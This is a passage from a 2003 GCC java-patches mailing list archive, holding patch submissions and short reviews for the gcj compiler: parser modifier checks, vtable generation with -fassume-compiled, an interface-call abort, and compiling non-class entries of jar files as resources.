(HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 21 Jan 2003 06:28:52 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-66-097.ewetel.net [80.228.66.97]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h0L6SksM012100 for ; Tue, 21 Jan 2003 07:28:51 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: configure check for sys/mman.h Date: Tue, 21 Jan 2003 07:26:59 +0100 User-Agent: KMail/1.5 References: <200301141104.04692.konqueror@gmx.de> In-Reply-To: <200301141104.04692.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200301210727.04348.konqueror@gmx.de> X-CheckCompat: OK -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 14. Januar 2003 11:04 schrieb Michael Koch: > Hi list, > > > I've written a little patch to check for the include file > sys/mman.h. This file will be needed for java.nio's ability of > memory mapping of files. It makes the functions mmap(), munmap() > and msync() available. > > Please review and comment. Is this patch not good enough for review ? (or too complicated ;-)) Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+LOg4WSOgCCdjSDsRAp1dAJ9JaBpqY5bvQNJsknf12geYh7DdEwCghOui vnXma7YG/MaEoVNvIQ3QeSw= =NLL8 -----END PGP SIGNATURE----- From java-patches-return-5854-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 18:27:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21301 invoked by alias); 21 Jan 2003 18:27:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21273 invoked from network); 21 Jan 2003 18:27:40 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 18:27:40 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA23564; Tue, 21 Jan 2003 11:27:37 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A2A0C4F8073; Tue, 21 Jan 2003 11:25:26 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Patch: Parser fixes From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: The appreciation of the average visual graphisticator alone is worth the whole suaveness and decadence which abounds!! Date: 21 Jan 2003 11:25:23 -0700 Message-ID: <87znputl64.fsf@fleche.redhat.com> Lines: 84 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes a couple parser bugs. A method cannot be both `native' and `strictfp'. Also, a method cannot be marked `transient' or `volatile'. Tested on x86 Red Hat Linux 7.3. Test suite update included. Ok for trunk and branch? Tom Index: gcc/java/ChangeLog from Tom Tromey * parse.y (method_header): Native method can't be strictfp. No method can be transient or volatile. Index: gcc/java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.405.2.2 diff -u -r1.405.2.2 parse.y --- gcc/java/parse.y 14 Jan 2003 20:30:29 -0000 1.405.2.2 +++ gcc/java/parse.y 21 Jan 2003 17:24:45 -0000 @@ -1,6 +1,6 @@ /* Source code parsing and tree node generation for the GNU compiler for the Java(TM) language. - Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. Contributed by Alexandre Petit-Bianco (apbianco@cygnus.com) This file is part of GNU CC. @@ -4581,6 +4581,18 @@ IDENTIFIER_POINTER (DECL_NAME (GET_CPC ())), IDENTIFIER_POINTER (EXPR_WFL_NODE (id))); } + + /* A native method can't be strictfp. */ + if ((flags & ACC_NATIVE) && (flags & ACC_STRICT)) + parse_error_context (id, "native method `%s' can't be strictfp", + IDENTIFIER_POINTER (EXPR_WFL_NODE (id))); + /* No such thing as a transient or volatile method. */ + if ((flags & ACC_TRANSIENT)) + parse_error_context (id, "method `%s' can't be transient", + IDENTIFIER_POINTER (EXPR_WFL_NODE (id))); + if ((flags & ACC_VOLATILE)) + parse_error_context (id, "method `%s' can't be volatile", + IDENTIFIER_POINTER (EXPR_WFL_NODE (id))); /* Things to be checked when declaring a constructor */ if (!type) Index: libjava/testsuite/ChangeLog from Tom Tromey * libjava.jacks/jacks.xfail: All 8.4.3 tests and 9.4-modifier-10 now pass. Index: libjava/testsuite/libjava.jacks/jacks.xfail =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jacks/jacks.xfail,v retrieving revision 1.1.12.1 diff -u -r1.1.12.1 jacks.xfail --- libjava/testsuite/libjava.jacks/jacks.xfail 19 Dec 2002 19:32:19 -0000 1.1.12.1 +++ libjava/testsuite/libjava.jacks/jacks.xfail 21 Jan 2003 17:24:46 -0000 @@ -258,10 +258,6 @@ 8.4.6.3-signature-10 8.4.6.3-signature-12 8.4.6.3-signature-15 -8.4.3-native-9 -8.4.3-native-10 -8.4.3-bad-1 -8.4.3-bad-2 8.7-abrupt-1 8.7-complete-1 8.7-complete-3 @@ -592,7 +588,6 @@ 15.15.2-final-3 15.15.1-final-2 15.15.1-final-3 -9.4-modifier-10 9.4.1-conflict-2 9.3.1-init-1 9.3.1-illegal-forward-1 From java-patches-return-5855-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 18:30:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29357 invoked by alias); 21 Jan 2003 18:30:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29343 invoked from network); 21 Jan 2003 18:30:52 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 21 Jan 2003 18:30:52 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-13.rdu.redhat.com [172.16.50.13]) by executor.cambridge.redhat.com (Postfix) with ESMTP id AFFFAABAF8; Tue, 21 Jan 2003 19:30:49 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0LIVJ730924; Tue, 21 Jan 2003 18:31:19 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15917.37366.796502.172085@cuddles.cambridge.redhat.com> Date: Tue, 21 Jan 2003 18:31:18 +0000 (GMT) To: tromey@redhat.com Cc: Gcc Patch List , Java Patch List Subject: Patch: Parser fixes In-Reply-To: <87znputl64.fsf@fleche.redhat.com> References: <87znputl64.fsf@fleche.redhat.com> Tom Tromey writes: > This patch fixes a couple parser bugs. > > A method cannot be both `native' and `strictfp'. > Also, a method cannot be marked `transient' or `volatile'. > > Tested on x86 Red Hat Linux 7.3. > Test suite update included. > > Ok for trunk and branch? OK. Andrew. From java-patches-return-5856-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 18:42:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27021 invoked by alias); 21 Jan 2003 18:42:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26967 invoked from network); 21 Jan 2003 18:42:16 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 18:42:16 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA27613; Tue, 21 Jan 2003 11:42:14 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A40004F8073; Tue, 21 Jan 2003 11:40:13 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: assume-compiled fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm ANN LANDERS!! I can SHOPLIFT!! Date: 21 Jan 2003 11:40:12 -0700 Message-ID: <87u1g2tkhf.fsf@fleche.redhat.com> Lines: 95 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This is another -fassume-compiled bug fix. Suppose some ancestor of the current class is in a no-assume-compiled package. When generating the vtable for the current class, we shouldn't generate a reference to any symbol in that ancestor class. This patch fixes the problem by not generating a vtable if any ancestor is not compiled. Instead the vtable is built at runtime. We could be a bit more precise and only avoid vtable generation if this class actually inherits a method from an uncompiled ancestor, but that seemed like more work than was useful to me. Tested on x86 Red Hat Linux 7.3. Ok for the trunk? Tom Index: ChangeLog from Tom Tromey * class.c (supers_all_compiled): New function. (make_class_data): Use it. Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.148 diff -u -r1.148 class.c --- class.c 18 Jan 2003 22:15:50 -0000 1.148 +++ class.c 21 Jan 2003 18:39:21 -0000 @@ -54,6 +54,7 @@ static tree make_field_value (tree); static tree get_dispatch_vector (tree); static tree get_dispatch_table (tree, tree); +static int supers_all_compiled (tree type); static void add_interface_do (tree, tree, int); static tree maybe_layout_super_class (tree, tree); static int assume_compiled (const char *); @@ -1265,7 +1162,8 @@ get_dispatch_vector (tree type) { tree vtable = TYPE_VTABLE (type); - if (vtable == NULL) + + if (vtable == NULL_TREE) { HOST_WIDE_INT i; tree method; @@ -1367,6 +1265,18 @@ NULL_TREE, list); } +static int +supers_all_compiled (tree type) +{ + while (type != NULL_TREE) + { + if (!assume_compiled (IDENTIFIER_POINTER (DECL_NAME (TYPE_NAME (type))))) + return 0; + type = CLASSTYPE_SUPER (type); + } + return 1; +} + void make_class_data (tree type) { @@ -1468,8 +1378,8 @@ DECL_IGNORED_P (methods_decl) = 1; rest_of_decl_compilation (methods_decl, (char*) 0, 1, 0); - if (assume_compiled (IDENTIFIER_POINTER (DECL_NAME (type_decl))) - && ! CLASS_INTERFACE (type_decl) && !flag_indirect_dispatch) + if (supers_all_compiled (type) && ! CLASS_INTERFACE (type_decl) + && !flag_indirect_dispatch) { tree dtable = get_dispatch_table (type, this_class_addr); dtable_decl = build_dtable_decl (type); @@ -1956,9 +1866,6 @@ TYPE_NVIRTUALS (this_class) = dtable_count; } -/* Return 0 if NAME is equal to STR, -1 if STR is "less" than NAME, - and 1 if STR is "greater" than NAME. */ - /* Lay METHOD_DECL out, returning a possibly new value of DTABLE_COUNT. Also mangle the method's name. */ @@ -1995,7 +1902,7 @@ } else if (! METHOD_STATIC (method_decl) && !DECL_ARTIFICIAL (method_decl)) { - tree method_sig = + tree method_sig = build_java_argument_signature (TREE_TYPE (method_decl)); tree super_method = lookup_argument_method (super_class, method_name, method_sig); From java-patches-return-5857-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 18:45:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2830 invoked by alias); 21 Jan 2003 18:45:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2795 invoked from network); 21 Jan 2003 18:45:11 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 21 Jan 2003 18:45:11 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-13.rdu.redhat.com [172.16.50.13]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 743E1ABAF8; Tue, 21 Jan 2003 19:45:08 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0LIjca30945; Tue, 21 Jan 2003 18:45:38 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15917.38226.34196.739748@cuddles.cambridge.redhat.com> Date: Tue, 21 Jan 2003 18:45:38 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: assume-compiled fix In-Reply-To: <87u1g2tkhf.fsf@fleche.redhat.com> References: <87u1g2tkhf.fsf@fleche.redhat.com> Tom Tromey writes: > This is another -fassume-compiled bug fix. > > Suppose some ancestor of the current class is in a no-assume-compiled > package. When generating the vtable for the current class, we > shouldn't generate a reference to any symbol in that ancestor class. > > This patch fixes the problem by not generating a vtable if any > ancestor is not compiled. Instead the vtable is built at runtime. We > could be a bit more precise and only avoid vtable generation if this > class actually inherits a method from an uncompiled ancestor, but that > seemed like more work than was useful to me. > > Tested on x86 Red Hat Linux 7.3. Ok for the trunk? OK. I assume by "tested" you mean "no regressions". I suppose we'll need test cases for -fassume-compiled. Andrew. From java-patches-return-5858-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 18:48:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11128 invoked by alias); 21 Jan 2003 18:48:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11010 invoked from network); 21 Jan 2003 18:48:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 18:48:54 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA29818; Tue, 21 Jan 2003 11:48:52 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id F32DB4F8073; Tue, 21 Jan 2003 11:46:58 -0700 (MST) To: Andrew Haley Cc: Java Patch List , Gcc Patch List Subject: Re: Patch: assume-compiled fix References: <87u1g2tkhf.fsf@fleche.redhat.com> <15917.38226.34196.739748@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. If I cover this entire WALL with MAZOLA, wdo I have to give my AGENT ten per cent?? Date: 21 Jan 2003 11:46:58 -0700 In-Reply-To: <15917.38226.34196.739748@cuddles.cambridge.redhat.com> Message-ID: <87lm1etk65.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> I assume by "tested" you mean "no regressions". Yes, though that means little in this case (we don't ever use -fno-assume-compiled in the test suite; so this only tests that supers_all_compiled always returns true without that option). Also I compiled libgcj from scratch, and I tried it on my test case. Andrew> I suppose we'll need test cases for -fassume-compiled. Yeah. That probably means writing more expect code :-(. We're going to want to start running some tests in weird ways -- testing compatibility of bytecode and java code, compatibility of the interpreter and the compiler (right now at least method layout can differ in the Miranda case, ugh). Lately I seem to find serious bugs everywhere I look :-( Tom From java-patches-return-5859-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 18:59:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22493 invoked by alias); 21 Jan 2003 18:59:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22454 invoked from network); 21 Jan 2003 18:59:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 18:59:54 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA00523; Tue, 21 Jan 2003 11:59:52 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B7E8F4F8073; Tue, 21 Jan 2003 11:57:59 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: abort if interface call made on non-interface method From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: WHOA!! Ken and Barbie are having TOO MUCH FUN!! It must be the NEGATIVE IONS!! Date: 21 Jan 2003 11:57:59 -0700 Message-ID: <87el76tjns.fsf@fleche.redhat.com> Lines: 49 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch just adds a new abort() to gcc. It is a sanity check against a problem I found last night. In an unusual situation we can call build_invokeinterface with a method whose context is Object, not an interface. This results in the generation of incorrect code. I think it makes more sense for us to detect this situation and crash. I have a simple test case which I'll check in later on; I'm planning to write a patch for the actual bug first. Ok? Tom Index: ChangeLog from Tom Tromey * expr.c (build_invokeinterface): Abort if method's context is not an interface. Index: expr.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/expr.c,v retrieving revision 1.160 diff -u -r1.160 expr.c --- expr.c 18 Jan 2003 22:15:51 -0000 1.160 +++ expr.c 21 Jan 2003 18:56:50 -0000 @@ -1901,15 +1901,16 @@ abstract nor static. */ if (class_ident == NULL_TREE) - { - class_ident = get_identifier ("class"); - } + class_ident = get_identifier ("class"); - dtable = build_java_indirect_ref (dtable_type, dtable, flag_check_references); + dtable = build_java_indirect_ref (dtable_type, dtable, + flag_check_references); dtable = build (COMPONENT_REF, class_ptr_type, dtable, lookup_field (&dtable_type, class_ident)); interface = DECL_CONTEXT (method); + if (! CLASS_INTERFACE (TYPE_NAME (interface))) + abort (); layout_class_methods (interface); if (flag_indirect_dispatch) From java-patches-return-5860-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 19:10:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22098 invoked by alias); 21 Jan 2003 19:10:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21985 invoked from network); 21 Jan 2003 19:10:19 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Jan 2003 19:10:19 -0000 Received: from fleche.redhat.com (mt3.peakpeak.com [206.168.3.147] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA03271; Tue, 21 Jan 2003 12:10:08 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 271C14F8073; Tue, 21 Jan 2003 12:08:11 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: make gcj compile all files in .jar From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Civilization is fun! Anyway, it keeps me busy!! Date: 21 Jan 2003 12:08:11 -0700 Message-ID: <87adhutj6s.fsf@fleche.redhat.com> Lines: 857 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch changes gcj to compile all the files it finds in a .jar file. .class files are compiled as code, other files are compiled as resources. This lets you compile a jar file all at once and have properties and such end up in the resulting executable. These can be accessed via the core: URL, which is on the default class path. (Also a later patch of mine will add solib: URLs and let you find these resources in files loaded via a shared library ClassLoader). Ok for the trunk? Tom Index: ChangeLog from Tom Tromey * gcj.texi (Input and output files): Mention non-class entries. * decl.c (java_init_decl_processing): Call init_resource_processing. * java-tree.h (compile_resource_data, write_resource_constructor, compile_resource_file, init_resource_processing): Declare. * config-lang.in (gtfiles): Added resource.c. * Make-lang.in (gt-java-resource.h): New target. (JAVA_OBJS): Added resource.o. (java/resource.o): New target. * resource.c: New file. * class.c (compile_resource_file): Moved to resource.c. (registerResource_libfunc): Likewise. (utf8_decl_list): Mark with GTY; now static. * jcf-parse.c (classify_zip_file): New function. (parse_zip_file_entries): Use it; compile .properties files. (process_zip_dir): Use classify_zip_file and compute_class_name. Don't write class name into zip directory. (java_parse_file): Call write_resource_constructor. (compute_class_name): New function. * jcf-io.c (read_zip_member): Reindented. Index: Make-lang.in =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/Make-lang.in,v retrieving revision 1.101 diff -u -r1.101 Make-lang.in --- Make-lang.in 21 Jan 2003 13:45:15 -0000 1.101 +++ Make-lang.in 21 Jan 2003 19:02:54 -0000 @@ -102,13 +102,13 @@ gt-java-class.h gt-java-constants.h gt-java-decl.h : s-gtype ; @true gt-java-expr.h gt-java-jcf-parse.h gt-java-jcf-write.h : s-gtype ; @true gt-java-lang.h gt-java-mangle.h gt-java-parse.h : s-gtype ; @true -gt-java-builtins.h gtype-java.h : s-gtype ; @true +gt-java-builtins.h gtype-java.h gt-java-resource.h : s-gtype ; @true # Executables built by this Makefile: JAVA_OBJS = java/parse.o java/class.o java/decl.o java/expr.o \ java/constants.o java/lang.o java/typeck.o java/except.o java/verify.o \ java/zextract.o java/jcf-io.o java/jcf-parse.o java/mangle.o \ - java/mangle_name.o java/builtins.o \ + java/mangle_name.o java/builtins.o java/resource.o \ java/jcf-write.o java/buffer.o java/check-init.o java/jcf-depend.o \ java/jcf-path.o java/xref.o java/boehm.o java/java-tree-inline.o mkdeps.o @@ -324,6 +324,9 @@ $(SYSTEM_H) coretypes.h $(TM_H) toplev.h $(GGC_H) java/parse-scan.o: $(CONFIG_H) $(SYSTEM_H) coretypes.h $(TM_H) toplev.h \ $(JAVA_LEX_C) java/parse.h java/lex.h +java/resource.o: java/resource.c $(CONFIG_H) $(SYSTEM_H) coretypes.h $(TM_H) \ + $(JAVA_TREE_H) $(RTL_H) java/jcf.h java/parse.h toplev.h output.h $(GGC_H) \ + $(TARGET_H) function.h gt-java-resource.h java/typeck.o: java/typeck.c $(CONFIG_H) $(JAVA_TREE_H) java/jcf.h \ java/convert.h toplev.h $(SYSTEM_H) coretypes.h $(TM_H) $(GGC_H) real.h java/verify.o: java/verify.c $(CONFIG_H) $(JAVA_TREE_H) java/jcf.h \ Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.149 diff -u -r1.149 class.c --- class.c 21 Jan 2003 18:54:25 -0000 1.149 +++ class.c 21 Jan 2003 19:02:56 -0000 @@ -61,7 +61,6 @@ static tree build_method_symbols_entry (tree); static GTY(()) rtx registerClass_libfunc; -static GTY(()) rtx registerResource_libfunc; struct obstack temporary_obstack; @@ -742,111 +741,7 @@ return hash; } -/* Generate a byte array representing the contents of FILENAME. The - array is assigned a unique local symbol. The array represents a - compiled Java resource, which is accessed by the runtime using - NAME. */ -void -compile_resource_file (char *name, const char *filename) -{ - struct stat stat_buf; - int fd; - char *buffer; - char buf[60]; - tree rtype, field = NULL_TREE, data_type, rinit, data, decl; - static int Jr_count = 0; - - fd = open (filename, O_RDONLY | O_BINARY); - if (fd < 0) - { - perror ("Failed to read resource file"); - return; - } - if (fstat (fd, &stat_buf) != 0 - || ! S_ISREG (stat_buf.st_mode)) - { - perror ("Could not figure length of resource file"); - return; - } - buffer = xmalloc (strlen (name) + stat_buf.st_size); - strcpy (buffer, name); - read (fd, buffer + strlen (name), stat_buf.st_size); - close (fd); - data_type = build_prim_array_type (unsigned_byte_type_node, - strlen (name) + stat_buf.st_size); - rtype = make_node (RECORD_TYPE); - PUSH_FIELD (rtype, field, "name_length", unsigned_int_type_node); - PUSH_FIELD (rtype, field, "resource_length", unsigned_int_type_node); - PUSH_FIELD (rtype, field, "data", data_type); - FINISH_RECORD (rtype); - START_RECORD_CONSTRUCTOR (rinit, rtype); - PUSH_FIELD_VALUE (rinit, "name_length", - build_int_2 (strlen (name), 0)); - PUSH_FIELD_VALUE (rinit, "resource_length", - build_int_2 (stat_buf.st_size, 0)); - data = build_string (strlen(name) + stat_buf.st_size, buffer); - TREE_TYPE (data) = data_type; - PUSH_FIELD_VALUE (rinit, "data", data); - FINISH_RECORD_CONSTRUCTOR (rinit); - TREE_CONSTANT (rinit) = 1; - - /* Generate a unique-enough identifier. */ - sprintf(buf, "_Jr%d", ++Jr_count); - - decl = build_decl (VAR_DECL, get_identifier (buf), rtype); - TREE_STATIC (decl) = 1; - DECL_ARTIFICIAL (decl) = 1; - DECL_IGNORED_P (decl) = 1; - TREE_READONLY (decl) = 1; - TREE_THIS_VOLATILE (decl) = 0; - DECL_INITIAL (decl) = rinit; - layout_decl (decl, 0); - pushdecl (decl); - rest_of_decl_compilation (decl, (char*) 0, global_bindings_p (), 0); - make_decl_rtl (decl, (char*) 0); - assemble_variable (decl, 1, 0, 0); - - { - tree init_name = get_file_function_name ('I'); - tree init_type = build_function_type (void_type_node, end_params_node); - tree init_decl; - - init_decl = build_decl (FUNCTION_DECL, init_name, init_type); - SET_DECL_ASSEMBLER_NAME (init_decl, init_name); - TREE_STATIC (init_decl) = 1; - current_function_decl = init_decl; - DECL_RESULT (init_decl) = build_decl (RESULT_DECL, - NULL_TREE, void_type_node); - - /* It can be a static function as long as collect2 does not have - to scan the object file to find its ctor/dtor routine. */ - TREE_PUBLIC (init_decl) = ! targetm.have_ctors_dtors; - - pushlevel (0); - make_decl_rtl (init_decl, NULL); - init_function_start (init_decl, input_filename, 0); - expand_function_start (init_decl, 0); - - emit_library_call (registerResource_libfunc, 0, VOIDmode, 1, - gen_rtx (SYMBOL_REF, Pmode, buf), - Pmode); - - expand_function_end (input_filename, 0, 0); - poplevel (1, 0, 1); - { - /* Force generation, even with -O3 or deeper. Gross hack. FIXME */ - int saved_flag = flag_inline_functions; - flag_inline_functions = 0; - rest_of_compilation (init_decl); - flag_inline_functions = saved_flag; - } - current_function_decl = NULL_TREE; - (* targetm.asm_out.constructor) (XEXP (DECL_RTL (init_decl), 0), - DEFAULT_INIT_PRIORITY); - } -} - -tree utf8_decl_list = NULL_TREE; +static GTY(()) tree utf8_decl_list = NULL_TREE; tree build_utf8_ref (tree name) @@ -2209,8 +2104,6 @@ init_class_processing (void) { registerClass_libfunc = gen_rtx_SYMBOL_REF (Pmode, "_Jv_RegisterClass"); - registerResource_libfunc = - gen_rtx_SYMBOL_REF (Pmode, "_Jv_RegisterResource"); fields_ident = get_identifier ("fields"); info_ident = get_identifier ("info"); gcc_obstack_init (&temporary_obstack); Index: config-lang.in =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/config-lang.in,v retrieving revision 1.15 diff -u -r1.15 config-lang.in --- config-lang.in 10 Jan 2003 02:22:22 -0000 1.15 +++ config-lang.in 21 Jan 2003 19:02:56 -0000 @@ -36,7 +36,7 @@ stagestuff="jc1\$(exeext) gcj\$(exeext) jvgenmain\$(exeext) gcjh\$(exeext) jv-scan\$(exeext) jcf-dump\$(exeext)" -gtfiles="\$(srcdir)/java/java-tree.h \$(srcdir)/java/jcf.h \$(srcdir)/java/lex.h \$(srcdir)/java/parse.h \$(srcdir)/java/builtins.c \$(srcdir)/java/class.c \$(srcdir)/java/constants.c \$(srcdir)/java/decl.c \$(srcdir)/java/expr.c \$(srcdir)/java/jcf-parse.c \$(srcdir)/java/jcf-write.c \$(srcdir)/java/lang.c \$(srcdir)/java/mangle.c \$(srcdir)/java/parse.y" +gtfiles="\$(srcdir)/java/java-tree.h \$(srcdir)/java/jcf.h \$(srcdir)/java/lex.h \$(srcdir)/java/parse.h \$(srcdir)/java/builtins.c \$(srcdir)/java/class.c \$(srcdir)/java/constants.c \$(srcdir)/java/decl.c \$(srcdir)/java/expr.c \$(srcdir)/java/jcf-parse.c \$(srcdir)/java/jcf-write.c \$(srcdir)/java/lang.c \$(srcdir)/java/mangle.c \$(srcdir)/java/parse.y \$(srcdir)/java/resource.c" target_libs=${libgcj_saved} lang_dirs="zlib fastjar" Index: decl.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/decl.c,v retrieving revision 1.148 diff -u -r1.148 decl.c --- decl.c 18 Jan 2003 22:15:50 -0000 1.148 +++ decl.c 21 Jan 2003 19:02:58 -0000 @@ -397,6 +397,7 @@ tree t; init_class_processing (); + init_resource_processing (); current_function_decl = NULL; current_binding_level = NULL_BINDING_LEVEL; Index: except.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/except.c,v retrieving revision 1.36 diff -u -r1.36 except.c --- except.c 18 Jan 2003 22:15:51 -0000 1.36 +++ except.c 21 Jan 2003 19:02:58 -0000 @@ -324,10 +324,35 @@ else if (is_compiled_class (type)) exp = build_class_ref (type); else - exp = fold (build - (PLUS_EXPR, ptr_type_node, - build_utf8_ref (DECL_NAME (TYPE_NAME (type))), - size_one_node)); + { + tree ctype = make_node (RECORD_TYPE); + tree field = NULL_TREE; + tree cinit, decl; + tree utf8_ref = build_utf8_ref (DECL_NAME (TYPE_NAME (type))); + char buf[64]; + sprintf (buf, "%s_ref", + IDENTIFIER_POINTER (DECL_NAME (TREE_OPERAND (utf8_ref, 0)))); + PUSH_FIELD (ctype, field, "dummy", ptr_type_node); + PUSH_FIELD (ctype, field, "utf8", utf8const_ptr_type); + FINISH_RECORD (ctype); + START_RECORD_CONSTRUCTOR (cinit, ctype); + PUSH_FIELD_VALUE (cinit, "dummy", integer_minus_one_node); + PUSH_FIELD_VALUE (cinit, "utf8", utf8_ref); + 